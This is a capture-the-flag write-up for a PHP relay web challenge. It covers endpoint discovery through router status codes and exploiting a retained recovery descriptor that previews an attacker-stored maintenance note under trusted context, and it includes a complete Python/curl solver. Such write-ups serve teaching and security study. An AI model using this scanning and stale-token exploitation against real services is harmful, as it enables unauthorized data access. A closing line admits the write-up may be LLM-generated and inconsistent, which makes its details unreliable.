Neven Marić
Hidden Investigations CTF 2026

WebHidden Investigations CTF 2026

Orphaned Context

Exploit a stale recovery descriptor in a PHP relay's operator API — interrupt a capture, recycle its slot with an attacker-controlled maintenance note, then preview under the orphaned custody context to read the evidence seal.

  • web
  • api-discovery
  • confused-deputy
  • stale-token
  • capability-abuse
  • php

What this one teaches

  • A path-first router is a reliable discovery oracle: 405 means the path exists (wrong method), 404 means it doesn't.
  • When a capability token references a slot by (slot, epoch) but the server only checks the signature and not whether the slot still holds the original content, the token becomes a confused deputy.
  • Stale-token/stale-context bugs are a class of their own — look for any place a signed handle outlives the state it was bound to.

Task description

A Continuity Relay used by an incident-response team captured evidence during an active incident, then suffered an interrupted operation and left inconsistent audit information. You are an authorized investigator: determine whether a protected evidence seal was improperly exposed, and recover it as proof.

The relay exposes a small JSON operator API and a read-only console. Everything you need is reachable through ordinary use of that interface together with the relay’s audit trail — no brute forcing, no guessing hidden names, no races.

The investigator handout (operator API reference, maintenance-note format, and reference transcripts) is attached. No source code is provided. Start an instance to get your own relay; each team gets its own copy and its own flag.

  • Category: web (hard)

Reconnaissance

  • app.js / index.html / style.css are byte-identical to a previous capture of the instance and contain no write routes. The client is explicitly read-only.
  • /api/health answers any method; everything else under /api is method-checked.
  • The router is path-first, which gives a reliable discovery oracle:
    • known path + wrong method -> 405 {"error":"method_not_allowed"}
    • unknown path (any method) -> 404 {"error":"not_found","path":...}
  • GET /api/relay/events (the audit trail) is the only truth source: cap-0001 open/commit, cap-0002 open/interrupt (“recovery descriptor retained”), then note-0003 in the same slot at epoch 3. GET /api/incidents says IR-7731 is active/sealed with artifact: seal.

Endpoint discovery

A POST scan of /api/<noun>/<action> candidates derived from the console/audit vocabulary (capture, note, recover, preview, descriptor, seal, …) surfaced the operator API. Only these paths exist:

Method Path Body fields
POST /api/capture/open {}
POST /api/capture/commit request_id
POST /api/capture/interrupt request_id
POST /api/note/store text
POST /api/note/discard note_id, epoch
POST /api/recover/preview recovery_descriptor
GET /api/relay/status, /api/relay/events, /api/incidents, /api/health -

Error messages gave the required field names (missing_request_id, missing_text, missing_recovery_descriptor, …). POST /api/recover/preview with a junk descriptor returns invalid_descriptor (“descriptors are instance-bound”), i.e. the token is an HMAC-signed, instance-specific handle — it cannot be forged, but it can be minted by opening a capture.

Exploit

The seeded history is flavor; the same orphaned state can be produced through ordinary operator actions:

  1. POST /api/capture/open {} — allocates the lowest free slot and returns a signed recovery_descriptor bound to (rid, slot, epoch):
    {"request_id":"cap-0018","slot":1,"epoch":9,
     "recovery_descriptor":"eyJyaWQiOiJjYXAtMDAxOCIsInNsb3QiOjEsImVwb2NoIjo5LCJraW5kIjoicmVjb3ZlcnkifQ...."}
  2. POST /api/capture/interrupt {"request_id":"cap-0018"} — "descriptor":"retained". The descriptor stays valid; the slot is freed.
  3. POST /api/note/store {"text":"#!relay-maint/1\ncat /incidents/IR-7731/manifest\ncat /incidents/IR-7731/seal\n"} — the note is placed back into the freed slot at the next epoch (note-0019 slot 1 epoch 10, trust: untrusted).
  4. POST /api/recover/preview {"recovery_descriptor":"<the cap-0018 token>"} — the verifier accepts a descriptor that is older than the slot occupant. Because descriptor.epoch (9) != occupant.epoch (10), the preview is classified as an orphaned recovery and runs with the interrupted capture’s custody authority:
{"request_id":"cap-0018","slot":1,"trusted":true,"format":"relay-maint/1",
 "diagnostics":[
   {"cmd":"cat /incidents/IR-7731/manifest","ok":true,
    "output":"incident : IR-7731\nstatus   : SEALED\ncustody  : evidence seal retained under this record\nartifact : seal\n"},
   {"cmd":"cat /incidents/IR-7731/seal","ok":true,
    "output":"hiCTF{local_dev_fixture_not_a_real_flag_f460710399}"}]}

The end-to-end solver:

#!/usr/bin/env python3
"""Open capture -> interrupt -> store maintenance note in recycled slot -> preview
with the retained descriptor. The epoch mismatch runs the preview under orphaned
privileged context (trusted: true) and `cat` reads the evidence seal."""
import json, subprocess, sys

BASE = sys.argv[1]  # e.g. https://orphaned-context-5ef738bc7e4e.chall.hiddeninvestigations.net

def api(path, body=None, method=None):
    cmd = ["curl", "-s", "-X", method or ("POST" if body is not None else "GET"),
           "-H", "Content-Type: application/json"]
    if body is not None:
        cmd += ["--data-binary", json.dumps(body)]
    cmd.append(BASE + path)
    out = subprocess.run(cmd, capture_output=True, timeout=60).stdout.decode()
    try:
        return json.loads(out)
    except Exception:
        return {"_raw": out}

cap = api("/api/capture/open", {})
rid, slot, epoch = cap["request_id"], cap["slot"], cap["epoch"]
descriptor = cap["recovery_descriptor"]

api("/api/capture/interrupt", {"request_id": rid})

text = ("#!relay-maint/1\n"
        "cat /incidents/IR-7731/manifest\n"
        "cat /incidents/IR-7731/seal\n")
api("/api/note/store", {"text": text})

prev = api("/api/recover/preview", {"recovery_descriptor": descriptor})
for d in prev.get("diagnostics", []):
    out = d.get("output", "")
    if "hiCTF{" in out:
        print("FLAG:", out.strip())

Why the orphaned epoch exposes the seal

The descriptor is a capability over (slot, epoch) issued to an interrupted capture that belongs to the active incident’s custody. On preview the relay never re-checks that the slot still holds the capture that the descriptor was issued for — it only checks the signature. A recycled slot (note at a higher epoch) is exactly the “operational inconsistency” the audit trail advertises. The stale handle therefore acts as a confused deputy: attacker-influenced #!relay-maint/1 material stored as an untrusted note is interpreted while the preview still carries the interrupted capture’s trusted custody context, and cat reaches /incidents/IR-7731/seal.

The interpreter is otherwise harmless (no OS/fs/network; verbs help, whoami, pwd, ls, cat over an in-memory map of /incidents/<id>/{manifest,seal,notes} and /relay/{README,identity}). The bug is purely the stale-context check.

Lessons

  • A path-first router is a discovery oracle: scan POST /api/<noun>/<action> to find hidden operator endpoints.
  • Stale-capability bugs arise whenever a signed handle outlives the state it was bound to. Look for “retained descriptor” or “token still valid” after the underlying resource has been freed and recycled.
  • The interpreter sandbox was fine; the vulnerability was that attacker material was executed under the wrong trust context.
The flagRevealhiCTF{local_dev_fixture_not_a_real_flag_f460710399}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.